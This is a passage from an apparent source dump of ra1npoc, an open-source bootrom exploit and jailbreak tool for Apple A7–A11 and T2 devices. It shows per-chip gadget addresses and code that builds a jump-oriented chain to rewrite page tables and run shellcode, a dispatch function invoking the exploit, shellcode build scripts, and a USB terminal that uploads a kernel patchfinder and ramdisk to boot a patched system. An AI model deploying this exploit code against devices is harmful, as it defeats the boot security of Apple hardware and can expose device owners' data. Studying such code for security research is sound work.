shellcodeLen = t8010_bin_len;
shellcode = t8010_bin;
break;
case 0x8011:
base_address = 0x1800b0000;
func_gadget = 0x10000cce4;
write_prim2 = 0x100001804;
arm_clean_invalidate_dcache_line = 0x10000047c;
arm_invalidate_icache = 0x100000458;
enter_critical_section = 0x10000a658;
exit_critical_section = 0x10000a6a0;
write_ttbr0 = 0x1000003F4;
tlbi = 0x100000444;
TTBR0_PATCH_BASE = 0x1800b4000;
TTBR0_BASE = 0xa0000;
bootstrap_task_lr = 0x1800a9f88;
payload_start_offset = 0x600;
shellcodeLen = t8011_bin_len;
shellcode = t8011_bin;
break;
case 0x8012:
base_address = 0x18001c000;
func_gadget = 0x100008d8c;
write_prim = 0x100008058;
arm_clean_invalidate_dcache_line = 0x1000004cc;
arm_invalidate_icache = 0x1000004a8;
enter_critical_section = 0x10000f9b8;
exit_critical_section = 0x10000fa00;
write_ttbr0 = 0x100000444;
tlbi = 0x100000494;
TTBR0_PATCH_BASE = 0x180020000;
TTBR0_BASE = 0xc000;
bootstrap_task_lr = 0x180015f78;
payload_start_offset = 0x600;
shellcodeLen = t8012_bin_len;
shellcode = t8012_bin;
//break;
ERR("Apple T2 is not supported!");
return -1;
case 0x8015:
base_address = 0x18001c000;
func_gadget = 0x10000a998;
write_prim = 0x100009c48;
arm_clean_invalidate_dcache_line = 0x1000004e4;
arm_invalidate_icache = 0x1000004c0;
enter_critical_section = 0x10000f958;
exit_critical_section = 0x10000f9a0;
write_ttbr0 = 0x10000045c;
tlbi = 0x1000004ac;
TTBR0_PATCH_BASE = 0x180020000;
TTBR0_BASE = 0xc000;
bootstrap_task_lr = 0x180015f88;
payload_start_offset = 0x600;
shellcodeLen = t8015_bin_len;
shellcode = t8015_bin;
break;
default:
ERR("This device is not supported!");
return -1;
}
size = isWNX(cpid) == true ? 0x600 : 0xc0;
buf = malloc(size);
// build JOP chain...?
uint32_t nextOffset = 0;
unsigned char* nextBuf = NULL;
dfu_callback_t* cb = (dfu_callback_t*)buf;
nextBuf = buf;
uint32_t current_size = 0;
int count = 0;
#define PUSH(end, func, arg0, arg1) \
{ \
count++; \
current_size = nextOffset + sizeof(dfu_callback_t); \
if(!(current_size > (isWNX(cpid) == true ? 0x600 : 0xc0))) \
{ \
cb->callback = func_gadget; \
if(count%3 == 0) \
nextOffset += 0x80; \
else \
nextOffset += 0x20; \
if(!end)cb->next = base_address + nextOffset; \
uint64_t* ptr = (uint64_t*)(cb); \
uint32_t* ptr32 = (uint32_t*)(cb); \
ptr[15] = func; \
if(func == write_prim) \
{ \
ptr[14] = (uint64_t)(arg0 - 4); \
ptr32[5] = (uint32_t)arg1; \
} \
else if(func == write_prim2) \
{ \
ptr[14] = (uint64_t)arg0; \
ptr32[5] = (uint32_t)arg1; \
} \
else if(func == write_ttbr0) \
{ \
ptr[14] = (uint64_t)arg0; \
} \
else if(func == arm_clean_invalidate_dcache_line) \
{ \
ptr[14] = (uint64_t)arg0; \
} \
nextBuf = (unsigned char*)(buf + nextOffset); \
cb = (dfu_callback_t*)nextBuf; \
} \
else \
{ \
ERR("overflow"); \
} \
} \
uint32_t write_val = 0;
uint64_t write_gadget = 0;
if((cpid == 0x8015) || (cpid == 0x8012) || (cpid == 0x7001) || (cpid == 0x7000))
{
write_gadget = write_prim;
}
else
{
write_gadget = write_prim2;
}
#define ARM_16K_TT_L2_SHIFT 25 /* page descriptor shift */
uint64_t vrom_address = 0x100000000;
uint64_t sram_address = 0x180000000;
uint64_t new_va = 0x142000000; // post-exploit
uint32_t vrom_off = (vrom_address >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t new_off = (new_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t sram_off = (sram_address >> ARM_16K_TT_L2_SHIFT) * 8;
uint64_t sram_rx_va = 0x140000000; // execute payload
uint64_t sram_rw_va = 0x142000000; // custom ttbr
uint32_t sram_rx_off = (sram_rx_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t sram_rw_off = (sram_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
if(isWNX(cpid))
{
// only A9X-A11
// VROM: 0x100000000
uint64_t vrom_bit = vrom_address | 0x6a5;
uint32_t vrom_bit_lower = (uint32_t)(vrom_bit & 0xffffffff);
uint32_t vrom_bit_upper = (uint32_t)(vrom_bit >> 32);
PUSH(0, write_gadget, TTBR0_PATCH_BASE + (vrom_off + 0), vrom_bit_lower);
PUSH(0, write_gadget, TTBR0_PATCH_BASE + (vrom_off + 4), vrom_bit_upper);
// Newp: 0x142000000
uint64_t new_bit = sram_address | 0x621; // pa
new_bit |= (cpid != 0x8001 ? (1uL << 2) : (2uL << 2));
new_bit |= (1uL << 53); // PXN
new_bit |= (1uL << 54); // XN
uint32_t new_bit_lower = (uint32_t)(new_bit & 0xffffffff);
uint32_t new_bit_upper = (uint32_t)(new_bit >> 32);
PUSH(0, write_gadget, TTBR0_PATCH_BASE + (new_off + 0), new_bit_lower);
PUSH(0, write_gadget, TTBR0_PATCH_BASE + (new_off + 4), new_bit_upper);
// SRAM: 0x180000000
uint64_t sram_bit = sram_address | 0x3;
sram_bit |= (1uL << 63); // NS
if(cpid == 0x8015) sram_bit |= 0x10000;
if(cpid == 0x8012) sram_bit |= 0x10000;
if(cpid == 0x8011) sram_bit |= 0xa4000;
if(cpid == 0x8010) sram_bit |= 0xa4000;
if(cpid == 0x8001) sram_bit |= 0x54000;
uint32_t sram_bit_lower = (uint32_t)(sram_bit & 0xffffffff);
uint32_t sram_bit_upper = (uint32_t)(sram_bit >> 32);
PUSH(0, write_gadget, TTBR0_PATCH_BASE + (sram_off + 0), sram_bit_lower);
PUSH(0, write_gadget, TTBR0_PATCH_BASE + (sram_off + 4), sram_bit_upper);
}
if(isWNX(cpid))
{
write_val = (uint32_t)(((base_address & 0x01FFFFFF) | (sram_rx_va & 0xffffffff)) + payload_start_offset);
}
else
{
write_val = (uint32_t)((base_address & 0xFFFFFFFF) + payload_start_offset);
}
PUSH(0, write_gadget, bootstrap_task_lr, write_val);
if(isWNX(cpid))
{
// only A9X-A11
PUSH(0, arm_clean_invalidate_dcache_line, TTBR0_PATCH_BASE + (vrom_off & ~0xff), 0);
PUSH(0, arm_clean_invalidate_dcache_line, TTBR0_PATCH_BASE + (new_off & ~0xff), 0);
PUSH(0, arm_clean_invalidate_dcache_line, TTBR0_PATCH_BASE + (sram_off & ~0xff), 0);
}
PUSH(0, arm_clean_invalidate_dcache_line, base_address + payload_start_offset, 0);
PUSH(isWNX(cpid) == true ? 0 : 1, arm_invalidate_icache, 0, 0);
if(isWNX(cpid))
{
// only A9X-A11
uint64_t sram_rx_bit = sram_address | 0x6a5;
uint32_t sram_rx_bit_lower = (uint32_t)(sram_rx_bit & 0xffffffff);
uint32_t sram_rx_bit_upper = (uint32_t)(sram_rx_bit >> 32);
uint64_t sram_rw_bit = sram_address | 0x621;
sram_rw_bit |= (cpid != 0x8001 ? (1uL << 2) : (2uL << 2));
sram_rw_bit |= (1uL << 53); // PXN
sram_rw_bit |= (1uL << 54); // XN
uint32_t sram_rw_bit_lower = (uint32_t)(sram_rw_bit & 0xffffffff);
uint32_t sram_rw_bit_upper = (uint32_t)(sram_rw_bit >> 32);
PUSH(0, enter_critical_section, 0, 0);
PUSH(0, write_ttbr0, TTBR0_PATCH_BASE, 0);
PUSH(0, tlbi, 0, 0);
PUSH(0, write_gadget, sram_rw_va + TTBR0_BASE + (sram_rx_off + 0), sram_rx_bit_lower);
PUSH(0, write_gadget, sram_rw_va + TTBR0_BASE + (sram_rx_off + 4), sram_rx_bit_upper);
PUSH(0, write_gadget, sram_rw_va + TTBR0_BASE + (sram_rw_off + 0), sram_rw_bit_lower);
PUSH(0, write_gadget, sram_rw_va + TTBR0_BASE + (sram_rw_off + 4), sram_rw_bit_upper);
PUSH(0, arm_clean_invalidate_dcache_line, sram_rw_va + TTBR0_BASE + (sram_rx_off & ~0xff), 0);
PUSH(0, write_ttbr0, sram_address + TTBR0_BASE, 0);
PUSH(0, tlbi, 0, 0);
PUSH(1, exit_critical_section, 0, 0);
}
*stage1Len = shellcodeLen + (isWNX(cpid) == true ? 0x600 : 0xc0);
*stage1Buf = malloc(*stage1Len);
memset(*stage1Buf, 0x0, *stage1Len);
memcpy(*stage1Buf, buf, isWNX(cpid) == true ? 0x600 : 0xc0);
memcpy(*stage1Buf + (isWNX(cpid) == true ? 0x600 : 0xc0), shellcode, shellcodeLen);
free(buf);
DEVLOG("Payload size: %d", (int)*stage1Len);
return 0;
}
RA1NPOC_API int ra1npoc15(client_t *client, uint16_t cpid)
{
void* stage1Buf = NULL;
size_t stage1Len = 0;
if(generateStage1(cpid, &stage1Buf, &stage1Len))
{
ERR("Failed to generate shellcode");
return -1;
}
switch(cpid)
{
case 0x8960: /* Apple A7 */
payload.next = 0x180380000;
payload.stage1_len = s5l8960_bin_len;
payload.stage1 = s5l8960_bin;
break;
case 0x7000: /* Apple A8 */
payload.next = 0x180380000;
payload.stage1_len = stage1Len;
payload.stage1 = stage1Buf;
break;
case 0x7001: /* Apple A8X */
payload.next = 0x180380000;
payload.stage1_len = stage1Len;
payload.stage1 = stage1Buf;
break;
case 0x8000: /* Apple A9 */
payload.next = 0x180380000;
payload.stage1_len = stage1Len;
payload.stage1 = stage1Buf;
break;
case 0x8003: /* Apple A9 */
payload.next = 0x180380000;
payload.stage1_len = stage1Len;
payload.stage1 = stage1Buf;
break;
case 0x8001: /* Apple A9X */
payload.next = 0x180000000;
payload.stage1_len = stage1Len;
payload.stage1 = stage1Buf;
break;
case 0x8010: /* Apple A10 */
payload.next = 0x1800b0000;
payload.stage1_len = stage1Len;
payload.stage1 = stage1Buf;
break;
case 0x8011: /* Apple A10X */
payload.next = 0x1800b0000;
payload.stage1_len = stage1Len;
payload.stage1 = stage1Buf;
break;
case 0x8012: /* Apple T2 */
payload.next = 0x18001c000;
payload.stage1_len = stage1Len;
payload.stage1 = stage1Buf;
break;
case 0x8015: /* Apple A11 */
payload.next = 0x18001c000;
payload.stage1_len = stage1Len;
payload.stage1 = stage1Buf;
break;
default:
return -1;
}
if(cpid == 0x8960)
{
// A7 uses a different exploit strategy
return ra1npocCheckmateA7(client, payload);
}
// A8-A11
return ra1npocCheckmate(client, payload, cpid);
}
================================================
FILE: exploit/old.c
================================================
/*
* ra1npoc - exploit/old.c
*
* Copyright (c) 2021 - 2023 kok3shidoll
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
// TODO
================================================
FILE: exploit/shellcode/.gitignore
================================================
src/
================================================
FILE: exploit/shellcode/build.sh
================================================
#!/bin/bash
rm -rf src/
mkdir src/
# S5L8960
xxd -i s5l8960.bin > src/s5l8960.h
# T7000
xxd -i t7000.bin > src/t7000.h
# T7001
xxd -i t7001.bin > src/t7001.h
# S8000
xxd -i s8000.bin > src/s8000.h
# S8003
xxd -i s8003.bin > src/s8003.h
# S8001
xxd -i s8001.bin > src/s8001.h
# T8010
xxd -i t8010.bin > src/t8010.h
# T8011
xxd -i t8011.bin > src/t8011.h
# T8012
xxd -i t8012.bin > src/t8012.h
# T8015
xxd -i t8015.bin > src/t8015.h
================================================
FILE: exploit/shellcode/readme.txt
================================================
shellcode
================================================
FILE: headers/.gitignore
================================================
legacy_kpf.h
legacy_ramdisk.h
Pongo_bin.h
================================================
FILE: headers/.keep
================================================
================================================
FILE: headers/build.sh
================================================
#!/bin/bash
rm -rf legacy_kpf.h
rm -rf legacy_ramdisk.h
rm -rf Pongo_bin.h
xxd -i legacy_kpf > legacy_kpf.h
xxd -i legacy_ramdisk > legacy_ramdisk.h
xxd -i Pongo.bin > Pongo_bin.h
================================================
FILE: headers/readme.txt
================================================
legacy_kpf: checkra1n v0.12.4b compatible KPF to run 0.1337 for iOS 14
legacy_ramdisk: original by checkra1n v0.12.4b
Pongo.bin: https://github.com/checkra1n/PongoOS/releases/tag/2.6.1
================================================
FILE: helper/pongoterm.c
================================================
/*
* ra1npoc - helper/pongoterm.c
*
* Copyright (c) 2021 - 2023 kok3shidoll
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#include <io/iousb.h>
#include <common/log.h>
#include <common/common.h>
#include <pongoterm.h>
enum AUTOBOOT_STAGE CURRENT_STAGE = NONE;
extern bool use_safemode;
extern bool use_verbose_boot;
extern char* bootArgs;
#if defined(BAKERA1N_MODE)
extern bool disable_cfprefsd_hook;
extern bool use_lightweight_overlay;
#endif
static uint32_t kpf_flags = checkrain_option_none;
static uint32_t checkra1n_flags = checkrain_option_none;
#if defined(BAKERA1N_MODE)
# include "../headers/kpf.h"
# include "../headers/ramdisk.h"
# include "../headers/overlay.h"
# include "../headers/overlay_lite.h"
#endif
#if defined(RA1NPOC_MODE)
# include "../headers/legacy_kpf.h"
# include "../headers/legacy_ramdisk.h"
RA1NPOC_API int oldPongoTerm(client_t *client)
{
transfer_t result;
while(1)
{
char buf[0x2000] = {};
uint32_t outpos = 0;
uint8_t in_progress = 1;
while(in_progress)
{
result = IOUSBControlTransfer(client, 0xa1, 2, 0, 0, (unsigned char *)&in_progress, (uint32_t)sizeof(in_progress));
if(result.ret == kIOReturnSuccess)
{
result = IOUSBControlTransfer(client, 0xa1, 1, 0, 0, (unsigned char *)(buf + outpos), 0x1000);
if(result.ret == kIOReturnSuccess)
{
outpos += result.wLenDone;
if(outpos > 0x1000)
{
memmove(buf, buf + outpos - 0x1000, 0x1000);
outpos = 0x1000;
}
}
}
if(result.ret != kIOReturnSuccess)
{
goto bad;
}
}
{
result = IOUSBControlTransfer(client, 0x21, 4, 0xffff, 0, NULL, 0);
if(result.ret != kIOReturnSuccess)
{
goto bad;
}
}
if(CURRENT_STAGE == NONE)
{
CURRENT_STAGE = SETUP_STAGE_FUSE;
}
if(CURRENT_STAGE == SETUP_STAGE_FUSE)
{
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)"fuse lock\n", (uint32_t)(strlen("fuse lock\n")));
if(result.ret == kIOReturnSuccess)
{
LOG("sended cmd: %s", "fuse lock");
CURRENT_STAGE = SETUP_STAGE_SEP;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SETUP_STAGE_SEP)
{
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)"sep auto\n", (uint32_t)(strlen("sep auto\n")));
if(result.ret == kIOReturnSuccess)
{
LOG("sended cmd: %s", "sep auto");
CURRENT_STAGE = SEND_STAGE_KPF;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SEND_STAGE_KPF)
{
size_t size = legacy_kpf_len;
result = IOUSBControlTransfer(client, 0x21, 1, 0, 0, (unsigned char *)&size, 4);
if(result.ret == kIOReturnSuccess)
{
result = IOUSBBulkUpload(client, legacy_kpf, legacy_kpf_len);
if(result.ret == kIOReturnSuccess)
{
LOG("sended file: %s: %llu bytes", "kpf", (unsigned long long)legacy_kpf_len);
CURRENT_STAGE = SETUP_STAGE_KPF;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SETUP_STAGE_KPF)
{
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)"modload\n", (uint32_t)(strlen("modload\n")));
if(result.ret == kIOReturnSuccess)
{
LOG("sended cmd: %s", "modload");
CURRENT_STAGE = SEND_STAGE_RAMDISK;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SEND_STAGE_RAMDISK)
{
size_t size = legacy_ramdisk_len;
result = IOUSBControlTransfer(client, 0x21, 1, 0, 0, (unsigned char *)&size, 4);
if(result.ret == kIOReturnSuccess)
{
result = IOUSBBulkUpload(client, legacy_ramdisk, legacy_ramdisk_len);
if(result.ret == kIOReturnSuccess)
{
LOG("sended file: %s: %llu bytes", "ramdisk", (unsigned long long)legacy_ramdisk_len);
CURRENT_STAGE = SETUP_STAGE_RAMDISK;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SETUP_STAGE_RAMDISK)
{
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)"ramdisk\n", (uint32_t)(strlen("ramdisk\n")));
if(result.ret == kIOReturnSuccess)
{
LOG("sended cmd: %s", "ramdisk");
CURRENT_STAGE = SETUP_STAGE_KPF_FLAGS;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SETUP_STAGE_KPF_FLAGS)
{
if(use_verbose_boot)
{
kpf_flags |= old_checkrain_option_verbose_boot;
}
if(use_safemode)
{
checkra1n_flags |= old_checkrain_option_safemode;
}
char str[64];
memset(&str, 0x0, 64);
sprintf(str, "kpf_flags 0x%08x\n", kpf_flags);
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)str, (uint32_t)(strlen(str)));
if(result.ret == kIOReturnSuccess)
{
memset(&str, 0x0, 64);
sprintf(str, "kpf_flags 0x%08x", kpf_flags);
LOG("kpf_flags: 0x%08x", kpf_flags);
CURRENT_STAGE = SETUP_STAGE_XARGS;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SETUP_STAGE_XARGS)
{
char str[256];
memset(&str, 0x0, 256);
char* defaultBootArgs = NULL;
if(!use_verbose_boot)
{
defaultBootArgs = "rootdev=md0";
}
if(use_verbose_boot)
{
defaultBootArgs = "-v rootdev=md0";
}
if(defaultBootArgs)
{
if(strlen(defaultBootArgs) > 256)
{
ERR("defaultBootArgs is too large!");
CURRENT_STAGE = USB_TRANSFER_ERROR;
continue;
}
sprintf(str, "%s", defaultBootArgs);
}
if(bootArgs)
{
if((strlen(str) + strlen(bootArgs)) > 256)
{
ERR("bootArgs is too large!");
CURRENT_STAGE = USB_TRANSFER_ERROR;
continue;
}
sprintf(str, "%s %s", str, bootArgs);
}
char xstr[256 + 7];
memset(&xstr, 0x0, 256 + 7);
sprintf(xstr, "xargs %s\n", str);
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)xstr, (uint32_t)(strlen(xstr)));
if(result.ret == kIOReturnSuccess)
{
LOG("xargs: %s", str);
CURRENT_STAGE = BOOTUP_STAGE;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == BOOTUP_STAGE)
{
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)"bootx\n", (uint32_t)(strlen("bootx\n")));
if(result.ret == kIOReturnSuccess)
{
LOG("sended cmd: %s", "bootx");
return 0;
}
else
{
LOG("maybe sended cmd: %s", "bootx");
return 0;
}
continue;
}
if(CURRENT_STAGE == USB_TRANSFER_ERROR)
{
bad:
ERR("WTF?!");
if(client)
{
IOUSBClose(client);
}
return -1;
}
}
return 0;
}
#endif
#if defined(BAKERA1N_MODE)
RA1NPOC_API int pongoTerm(client_t *client)
{
transfer_t result;
while(1)
{
char buf[0x2000] = {};
uint32_t outpos = 0;
uint8_t in_progress = 1;
while(in_progress)
{
result = IOUSBControlTransfer(client, 0xa1, 2, 0, 0, (unsigned char *)&in_progress, (uint32_t)sizeof(in_progress));
if(result.ret == kIOReturnSuccess)
{
result = IOUSBControlTransfer(client, 0xa1, 1, 0, 0, (unsigned char *)(buf + outpos), 0x1000);
if(result.ret == kIOReturnSuccess)
{
outpos += result.wLenDone;
if(outpos > 0x1000)
{
memmove(buf, buf + outpos - 0x1000, 0x1000);
outpos = 0x1000;
}
}
}
if(result.ret != kIOReturnSuccess)
{
goto bad;
}
}
{
result = IOUSBControlTransfer(client, 0x21, 4, 0xffff, 0, NULL, 0);
if(result.ret != kIOReturnSuccess)
{
goto bad;
}
}
if(CURRENT_STAGE == NONE)
{
CURRENT_STAGE = SETUP_STAGE_FUSE;
}
if(CURRENT_STAGE == SETUP_STAGE_FUSE)
{
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)"fuse lock\n", (uint32_t)(strlen("fuse lock\n")));
if(result.ret == kIOReturnSuccess)
{
LOG("sended cmd: %s", "fuse lock");
CURRENT_STAGE = SETUP_STAGE_SEP;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SETUP_STAGE_SEP)
{
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)"sep auto\n", (uint32_t)(strlen("sep auto\n")));
if(result.ret == kIOReturnSuccess)
{
LOG("sended cmd: %s", "sep auto");
CURRENT_STAGE = SEND_STAGE_KPF;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SEND_STAGE_KPF)
{
size_t size = kpf_len;
result = IOUSBControlTransfer(client, 0x21, 1, 0, 0, (unsigned char *)&size, 4);
if(result.ret == kIOReturnSuccess)
{
result = IOUSBBulkUpload(client, kpf, kpf_len);
if(result.ret == kIOReturnSuccess)
{
LOG("sended file: %s: %llu bytes", "kpf", (unsigned long long)kpf_len);
CURRENT_STAGE = SETUP_STAGE_KPF;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SETUP_STAGE_KPF)
{
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)"modload\n", (uint32_t)(strlen("modload\n")));
if(result.ret == kIOReturnSuccess)
{
LOG("sended cmd: %s", "modload");
CURRENT_STAGE = SEND_STAGE_RAMDISK;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SEND_STAGE_RAMDISK)
{
size_t size = ramdisk_dmg_len;
result = IOUSBControlTransfer(client, 0x21, 1, 0, 0, (unsigned char *)&size, 4);
if(result.ret == kIOReturnSuccess)
{
result = IOUSBBulkUpload(client, ramdisk_dmg, ramdisk_dmg_len);
if(result.ret == kIOReturnSuccess)
{
LOG("sended file: %s: %llu bytes", "ramdisk", (unsigned long long)ramdisk_dmg_len);
CURRENT_STAGE = SETUP_STAGE_RAMDISK;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SETUP_STAGE_RAMDISK)
{
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)"ramdisk\n", (uint32_t)(strlen("ramdisk\n")));
if(result.ret == kIOReturnSuccess)
{
LOG("sended cmd: %s", "ramdisk");
CURRENT_STAGE = SEND_STAGE_OVERLAY;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SEND_STAGE_OVERLAY)
{
if(use_lightweight_overlay == false)
{
size_t size = overlay_dmg_len;
result = IOUSBControlTransfer(client, 0x21, 1, 0, 0, (unsigned char *)&size, 4);
if(result.ret == kIOReturnSuccess)
{
result = IOUSBBulkUpload(client, overlay_dmg, overlay_dmg_len);
if(result.ret == kIOReturnSuccess)
{
LOG("sended file: %s: %llu bytes", "overlay", (unsigned long long)overlay_dmg_len);
CURRENT_STAGE = SETUP_STAGE_OVERLAY;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
}
}
else
{
// lightweight overlay
size_t size = overlay_lite_dmg_len;
result = IOUSBControlTransfer(client, 0x21, 1, 0, 0, (unsigned char *)&size, 4);
if(result.ret == kIOReturnSuccess)
{
result = IOUSBBulkUpload(client, overlay_lite_dmg, overlay_lite_dmg_len);
if(result.ret == kIOReturnSuccess)
{
LOG("sended file: %s: %llu bytes", "overlay", (unsigned long long)overlay_lite_dmg_len);
CURRENT_STAGE = SETUP_STAGE_OVERLAY;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
}
}
continue;
}
if(CURRENT_STAGE == SETUP_STAGE_OVERLAY)
{
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)"overlay\n", (uint32_t)(strlen("overlay\n")));
if(result.ret == kIOReturnSuccess)
{
LOG("sended cmd: %s", "overlay");
CURRENT_STAGE = SETUP_STAGE_KPF_FLAGS;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SETUP_STAGE_KPF_FLAGS)
{
if(use_verbose_boot)
{
kpf_flags |= checkrain_option_verbose_boot;
}
char str[64];
memset(&str, 0x0, 64);
sprintf(str, "kpf_flags 0x%08x\n", kpf_flags);
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)str, (uint32_t)(strlen(str)));
if(result.ret == kIOReturnSuccess)
{
memset(&str, 0x0, 64);
sprintf(str, "kpf_flags 0x%08x", kpf_flags);
LOG("kpf_flags: 0x%08x", kpf_flags);
CURRENT_STAGE = SETUP_STAGE_CHECKRAIN_FLAGS;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SETUP_STAGE_CHECKRAIN_FLAGS)
{
if(use_safemode)
{
checkra1n_flags |= checkrain_option_safemode;
}
if(disable_cfprefsd_hook)
{
checkra1n_flags |= checkrain_option_no_cfprefsd_hook;
}
char str[64];
memset(&str, 0x0, 64);
sprintf(str, "checkra1n_flags 0x%08x\n", checkra1n_flags);
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)str, (uint32_t)(strlen(str)));
if(result.ret == kIOReturnSuccess)
{
memset(&str, 0x0, 64);
sprintf(str, "checkra1n_flags 0x%08x", checkra1n_flags);
LOG("checkra1n_flags: 0x%08x", checkra1n_flags);
CURRENT_STAGE = SETUP_STAGE_XARGS;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == SETUP_STAGE_XARGS)
{
char str[256];
memset(&str, 0x0, 256);
char* defaultBootArgs = NULL;
if(!use_verbose_boot)
{
defaultBootArgs = "rootdev=md0";
}
if(use_verbose_boot)
{
defaultBootArgs = "-v rootdev=md0";
}
if(defaultBootArgs)
{
if(strlen(defaultBootArgs) > 256)
{
ERR("defaultBootArgs is too large!");
CURRENT_STAGE = USB_TRANSFER_ERROR;
continue;
}
sprintf(str, "%s", defaultBootArgs);
}
if(bootArgs)
{
// sprintf(str, "xargs %s\n", bootArgs);
if((strlen(str) + strlen(bootArgs)) > 256)
{
ERR("bootArgs is too large!");
CURRENT_STAGE = USB_TRANSFER_ERROR;
continue;
}
sprintf(str, "%s %s", str, bootArgs);
}
char xstr[256 + 7];
memset(&xstr, 0x0, 256 + 7);
sprintf(xstr, "xargs %s\n", str);
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)xstr, (uint32_t)(strlen(xstr)));
if(result.ret == kIOReturnSuccess)
{
LOG("xargs: %s", str);
CURRENT_STAGE = BOOTUP_STAGE;
}
else
{
CURRENT_STAGE = USB_TRANSFER_ERROR;
}
continue;
}
if(CURRENT_STAGE == BOOTUP_STAGE)
{
result = IOUSBControlTransfer(client, 0x21, 3, 0, 0, (unsigned char *)"bootx\n", (uint32_t)(strlen("bootx\n")));
if(result.ret == kIOReturnSuccess)
{
LOG("sended cmd: %s", "bootx");
return 0;
}
else
{
// CURRENT_STAGE = USB_TRANSFER_ERROR;
LOG("maybe sended cmd: %s", "bootx");
return 0;
}
continue;
}
if(CURRENT_STAGE == USB_TRANSFER_ERROR)
{
bad:
ERR("WTF?!");
if(client)
{
IOUSBClose(client);
}
return -1;
}
}
return 0;
}
#endif
================================================
FILE: helper/recovery.c
================================================
/*
